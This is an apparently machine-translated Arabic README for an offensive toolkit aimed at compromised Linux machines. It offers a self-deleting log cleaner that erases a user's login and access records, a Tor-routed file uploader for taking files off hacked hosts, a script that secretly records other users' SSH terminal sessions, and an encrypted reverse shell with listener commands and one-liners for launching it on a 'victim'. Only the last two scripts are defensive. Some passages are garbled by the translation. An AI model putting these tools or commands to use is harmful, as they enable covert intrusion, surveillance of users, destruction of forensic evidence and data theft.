يحتوي هذا المستودع على البرامج النصية التي قد تكون مفيدة أثناء أنشطتك القتالية للحرية. سيتم تحديثه من حين لآخر ، عندما أجد نفسي في حاجة إلى شيء لا يمكنني العثور عليه عبر الإنترنت. يتم توزيع كل شيء هنا بموجب شروط ترخيص GPL V3.
المساهمات وطلبات السحب مرحب بها للغاية.
منظف السجل الذي يزيل الإدخالات المجردة في:
/var/run/utmp
، /var/log/wtmp
، /var/log/btmp
(يتحكم في إخراج who
، w
والأوامر last
)/var/log/lastlog
(يتحكم في إخراج أمر lastlog
)/var/**/*.log
(.log.1 ، .log.2.gz ، إلخ.يتم حذف الإدخالات بناءً على عنوان IP و/أو اسم المضيف المرتبط به.
يتم توخي الحذر الخاص لتجنب كسر واصفات الملفات أثناء العبث بالسجلات. هذا يعني أن السجلات تستمر في كتابتها بعد العبث بها ، مما يجعل التنظيف أقل وضوحًا. يتم إجراء جميع الأعمال في محرك TMPFS ويتم القضاء على أي ملفات تم إنشاؤها بشكل آمن.
تحذير: تم اختبار البرنامج النصي فقط على Linux ولن يكون قادرًا على تنظيف إدخالات UTMP على نكهات UNIX الأخرى.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
افتراضيًا ، إذا لم يتم تقديم وسيطات ، فسيحاول البرنامج النصي تحديد عنوان IP للتنظيف بناءً على متغير بيئة SSH_CONNECTION
. سيتم إزالة أي إدخال مطابق لـ DNS العكسي لهذا IP أيضًا.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... سيقوم بإزالة جميع إدخالات جذر المستخدم حيث يكون عنوان IP هو 151.80.119.32 أو Hostame هو manalyzer.org
. وسيتم مطالب المستخدم أيضًا قبل حذف كل سجل بسبب خيار --check
. أخيرًا ، سيتم معالجة ملف /etc/app/logs/access.log
بالإضافة إلى جميع تلك الافتراضية.
إذا تم إعطاء المجلدات كوسائط موضعية ( /etc/app/logs/
على سبيل المثال) ، فسوف يزحف البرنامج النصي بشكل متكرر وتنظيف أي ملف مع تمديد .log
( *.log.1 ، *.log.2.gz ، إلخ وشملت).
قد ترغب في إزالة الخطوط التعسفية من ملف السجل أيضًا. للقيام بذلك ، استخدم خيار --regexp
. على سبيل المثال ، سيبحث سطر الأوامر التالي عن جميع طلبات النشر إلى ملفات PHP من IP المحدد:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
على افتراض أن هذا يتم تشغيله من Connexion SSH ، فإن هذا الأمر سيحذف جميع السجلات المتعلقة بنشاط المستخدم الحالي مع عنوان IP المكتشف واسم المضيف مباشرة بعد إغلاق التوصيل. سيقوم هذا البرنامج النصي لاحقًا بحذف نفسه تلقائيًا. يرجى الأخذ في الاعتبار أنه لن تتاح لك أي فرصة لتلقي رسائل خطأ من التطبيق. يتم تشجيعك على محاولة حذف السجلات مرة واحدة قبل وضع الشيطان للتأكد من أن الوسائط التي حددتها صحيحة. إذا كنت في قذيفة بدون tty ، فلن يتمكن البرنامج النصي من اكتشاف عندما تنتهي الجلسة. سيتم إخطارك أنه سيتم حذف السجلات في 60 ثانية ، ويجب عليك تسجيل الخروج قبل ذلك (أو المخاطرة بإنشاء المزيد من الإدخالات بعد تشغيل البرنامج النصي).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
يتم توفير هذا البرنامج النصي دون أي ضمانات. لا تلومني أنه لا يمسح جميع آثار شيء لا ينبغي عليك فعله في المقام الأول.
البرنامج النصي محمول وآمن لمشاركة الملفات. في حين أن القتال الحرية ، لا يمكن عمومًا أن يكون ملفات SCP في آلات تعرض للخطر. هناك حاجة إلى طرق بديلة لتحميل الملفات ، ولكن معظم خدمات المشاركة إما مقيدة للغاية أو لا توفر وسيلة لاسترداد الملفات بسهولة من سطر الأوامر. قد تمنع اعتبارات الأمان الأشخاص من تحميل الملفات الحساسة إلى مقدمي الخدمات السحابية خوفًا من أن يحتفظوا بنسخة منها إلى الأبد.
يعتمد هذا البرنامج النصي الصغير والمحمول على Transfer.sh لحل هذه المشكلة. هو - هي...
torify
إذا كان موجودًا على النظام لزيادة عدم الحكم. التبعيات الوحيدة اللازمة هي openssl
وإما curl
أو wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
تتيح لك الوسائط الإضافية أثناء التحميل التحكم في الحد الأقصى لعدد التنزيلات المسموح به للملف ( -m
) وعدد الأيام التي ستحتفظ بها ( -d
). القيمة الافتراضية لكلا هذين الخيارين هي 1.
تحذير : لا تستخدم المساحات في مفتاح التشفير ، أو فقط الكلمة الأولى من عبارة المرور سيتم أخذها في الاعتبار. هذا يرجع إلى الطريقة التي يتعامل بها getopts
للحجج (على ما أظن). نرحب بطلبات السحب إذا كان أي شخص مهتمًا بإصلاح هذا.
AutoJack هو برنامج نص قصير يستفيد من shelljack frearkmonkey لتسجيل محطة أي مستخدم يتصل من خلال SSH. إنه يشاهد auth.log
للاتصالات الناجحة ، ويكتشف صناديق عملية bash
الخاصة بالمستخدم ، ويترك الباقي إلى shelljack
.
قم بتشغيله في شاشة ، وانتظر حتى يقوم المستخدمون الآخرين بتسجيل الدخول. سيتم تسجيل جلستهم إلى /root/.local/sj.log.[user].[timestamp]
. BudapuSer.
البرنامج النصي ليس خفيًا بشكل خاص (لا توجد محاولة لإخفاء عملية shelljack
) ولكنه ستنجز المهمة. لاحظ أنه لتجنب التمييز الذاتي ، لا يتم استهداف المستخدم root
(يمكن التعليق على هذا في الكود).
Listurl هو زاحف موقع متعدد الخيوط يحصل على قائمة بالصفحات المتاحة من الهدف. يعد هذا البرنامج النصي مفيدًا لصيادين Bug-Bounty الذين يحاولون إنشاء سطح الهجوم لتطبيق الويب.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
فيما يلي عينة إخراج موقع ويب صغير:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
يتم استخدام خيارات- --exclude-regexp
و-- --show-regexp
للتحكم في عناوين URL التي يجب إظهارها أو تجاهلها. على سبيل المثال ، في المثال أعلاه ، قد ترغب في تجاهل الصفحات التي من المحتمل أن تكون متشابهة جدًا:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
لاحظ أن عناوين URL المطابقة لن يتم الزحف. هذا مفيد بشكل خاص عندما يضيع البرنامج النصي في صفحات التعليقات العميقة أو المحتوى المتكرر. بالتناوب ، قد تكون مهتمًا فقط بنصوص PHP: ./listurl.py --show-regexp ".php$"
.
بشكل افتراضي ، يزرع الزاحف فقط 3 مستويات عميقة. هذا شيء يمكنك التحكم فيه مع خيار-- --max-depth
.
اعتبار آخر هو ما إذا كان ينبغي اتباع عناوين URL التي تشير إلى المجالات الخارجية. بشكل افتراضي ، لا يقوم البرنامج النصي ، ولكن يمكنك تمكين ذلك عن طريق ضبط مفتاح --external
Switch. إذا لم تكن مهتمًا بالمجالات الخارجية العشوائية ولكنك لا تزال ترغب في تمديد الزحف إلى النطاقات الفرعية ، فيمكنك ضبط مفتاح --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
لاحظ أنه إذا استغرق البرنامج النصي وقتًا طويلاً ، فيمكنك الضغط على Ctrl+C في أي وقت لإغلاقه. ستظهر بعد ذلك الصفحات التي تم اكتشافها حتى الآن.
إذا كنت بحاجة إلى الوصول إلى الصفحات المصادقة على موقع ويب ، فيمكنك توفير ملفات تعريف الارتباط إلى listurl.py من سطر الأوامر مع خيار --cookie
.
أخيرًا ، إذا كنت تعمل على موقع ويب يحتوي على شهادة SSL غير صالحة أو موقعة ذاتيًا ، فاستخدم خيار --no-certificate-check
لتجاهل أخطاء SSL.
ersh
هو قذيفة عكسية مشفرة مكتوبة في ثعبان نقي. من أي وقت مضى على مربع مع عدم وجود أدوات أو أدوات تجميع قياسية ، ولا توجد طريقة سهلة لتحميل الثنائيات؟ هل أنت خائف من معرفات سيلاحظ قذيفة خارجية؟ أغلقت عن طريق الخطأ مستمع Netcat الخاص بك لأنك ضغطت ^C
؟ لا أكثر.
يقدم ersh
الميزات التالية:
للحصول على مناقشة أكثر تفصيلاً حول كيفية ظهور هذه الأداة ، يرجى الرجوع إلى منشور المدونة هذا.
يجب تحرير هذا البرنامج النصي قبل أن يعمل! ابحث عن هذه العلامة بالقرب من البداية:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
PORT
يتسمون بنفسه ، ولكن قد تحتاج إلى مساعدة إضافية لشهادات SSL. لا أحد يريد القتال ضد عميل OpenSSL ، بحيث يمكنك فقط استخدام الخطوط الواحدة التالية:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
هذا كل شيء! يجب أن يكون لديك الآن خمسة ملفات جديدة في المجلد الحالي: server.(crt|key|pem)
client.(crt|key)
. يحتاج بعضهم إلى إدراجه في البرنامج النصي حتى يتمكن القشرة العكسية والمستمع من مصادقة بعضهما البعض. خاصة:
client_key
على محتويات client.key
.client_crt
على محتويات client.crt
.server_crt
على محتويات server.crt
.هذا كل شيء ، لا مزيد من التحرير المطلوب.
بالنظر إلى أن السلبية الكاملة TLS سوف تستمر ، فإن مستمع nc
التقليدي لن يكون كافياً هنا. تم اختيار socat
لهذه المهمة ، نظرًا لقدرتها على التعامل مع التشفير و Ttys. على التوزيعات المستندة إلى Debian ، يجب أن تكون قادرًا على الحصول عليها ببساطة عن طريق تشغيل sudo apt-get install socat
.
على افتراض أنك لا تزال في المجلد حيث قمت بإنشاء المفاتيح والشهادات ، وتريد الاستماع على المنفذ 443 ، إليك سطر الأوامر الذي يجب تشغيله على الجهاز حيث ستصل القشرة العكسية:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
لا تحتاج إلى نسخ البرنامج النصي إلى الجهاز البعيد حتى يعمل. فيما يلي طريقة بسيطة لتشغيلها من قذيفة غير تفاعلية. انسخ البرنامج النصي بالكامل إلى الحافظة الخاصة بك وقم بتشغيل الأوامر التالية على الضحية:
python - <<'EOF'
[paste script contents here]
'EOF'
إذا كنت تحاول إطلاق ersh.py
من بيئة لا تدعم خطوطًا متعددة (مثل Wevely) ، فيمكنك أيضًا محاولة إنشاء خط واحد مثل هذا:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
على آلة الاستقبال:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
على الضحية:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
وعلى المتلقي مرة أخرى:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
تمت كتابة هذا السيناريو للكشف عن هجمات الخادمة الشريرة. يقوم بذلك عن طريق التحقق من وقت التمهيد إذا تم تشغيل محرك الأقراص الثابتة ولكن ليس نظام التشغيل (على سبيل المثال ، إذا تم إخراجه من الكمبيوتر للحصول على نسخة ، أو إذا حاول شخص ما تشغيل الجهاز ولكن تم إيقافه بواسطة كلمة مرور FDE ).
تحتاج إلى التأكد من تشغيل هذا البرنامج النصي في كل صندوق. ستعمل الإرشادات التالية على التوزيعات باستخدام SystemD.
/etc/systemd/system/
. إصلاح المسارات بداخلها حسب الحاجة. سيتم تشغيل البرنامج النصي كجذر ، لذا تأكد من أنه غير قابل للكتابة في العالم!#> systemctl enable boot_check.service
تثبيت التبعيات:
#> apt install smartmontools dialog
قم بتشغيل البرنامج النصي مرة واحدة حتى يتم تهيئة:
#> ./boot_check.py
إذا ظهرت رسالة تأكيد ، فأنت على ما يرام.
إذا كنت ترغب في التأكد من أن البرنامج النصي يعمل ، فتأكد من القيام بما يلي:
تم إنشاء هذا البرنامج النصي لتوفير طريقة بسيطة لـ "Booby-Crit" بعض التنفيذيين على نظام Linux. تتمثل الفكرة في اكتشاف المتسللين عندما يستخدمون ثنائيات معينة ( id
، whoami
، gcc
) على خادم لا يملكونه.
لحماية تلك الثنائيات ، notify_hook.py
بإنشاء روابط رمزية لهذا البرنامج النصي في PATH
. سوف يرسل لك notify_hook
تنبيهًا واتصل بالبرنامج المقصود بطريقة شفافة. على سبيل المثال ، إذا كنت ترغب في "حماية" id
، فما عليك سوى إنشاء Symlink التالي على جهازك:
ln -s path/to/notify_hook.py /usr/local/bin/id
... ويجب توجيه جميع المكالمات المستقبلية إلى id
من خلال هذا البرنامج النصي. من الواضح أن هذه ليست وسيلة مضمونة للكشف عن المتسللين على أنظمتك ، ولكن يجب أن يلتقط أكثر المتسللين غير المهملين.
قد تستدعي بعض البرامج والبرامج النصية على نظامك بانتظام بعض الثنائيات التي ترغب في حمايتها. في هذه الحالة ، يمكنك تحرير متغير يسمى CALLER_WHITELIST
الموضوعة في بداية البرنامج النصي. ضع اسم تلك العمليات في القائمة لتعطيل التنبيهات منها (يتم قبول التعبيرات العادية).
طريقة الإخطار الحالية التي تم تنفيذها في هذا البرنامج النصي هي رسالة نصية أرسلت إشارة thtough مع إشارة ASAMK. ستحتاج إلى تثبيت هذا المشروع بشكل منفصل إذا كنت ترغب في استخدامه ، أو على الأرجح ، استبدال وظيفة notify_callback
الموضوعة أعلى notify_hook.py
بأي ما يناسب احتياجاتك.